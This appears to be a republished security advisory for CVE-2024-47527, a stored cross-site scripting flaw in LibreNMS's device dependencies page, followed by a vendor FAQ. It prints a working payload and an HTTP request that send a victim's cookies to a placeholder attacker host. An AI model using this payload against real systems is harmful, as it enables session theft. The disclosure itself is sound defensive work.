CVE-2024-47527

A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.

Details

The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions.

For example, the following payload can be used to exploit the vulnerability:
t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"

When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL.

The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output.

This is evident in the following line of code:
https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74

PoC

1. Add a new device using the following payload for the hostname:

t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"
2. Save the device.
3. Navigate to the device dependencies page.
4. Observe that the injected script executes, redirecting the user to the attacker's website with any non-httponly cookies included in the URL.

Example Request:

POST /addhost HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>

_token=<your_token>&hostname=t%27%27+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%<attacker_url>%2F%3Fc%3D%27%2Bdocument.cookie%22&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=

It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2024-47527 has a CVSS score of 7.5 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (24.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-47527? CVE-2024-47527 is a medium-severity cross-site scripting (XSS) vulnerability in librenms/librenms (composer), affecting versions < 24.9.0. It is fixed in 24.9.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2024-47527? CVE-2024-47527 has a CVSS score of 7.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of librenms/librenms are affected by CVE-2024-47527? librenms/librenms (composer) versions < 24.9.0 is affected.
4. Is there a fix for CVE-2024-47527? Yes. CVE-2024-47527 is fixed in 24.9.0. Upgrade to this version or later.
5. Is CVE-2024-47527 exploitable, and should I be worried? Whether CVE-2024-47527 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-47527 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-47527? Upgrade librenms/librenms to 24.9.0 or later.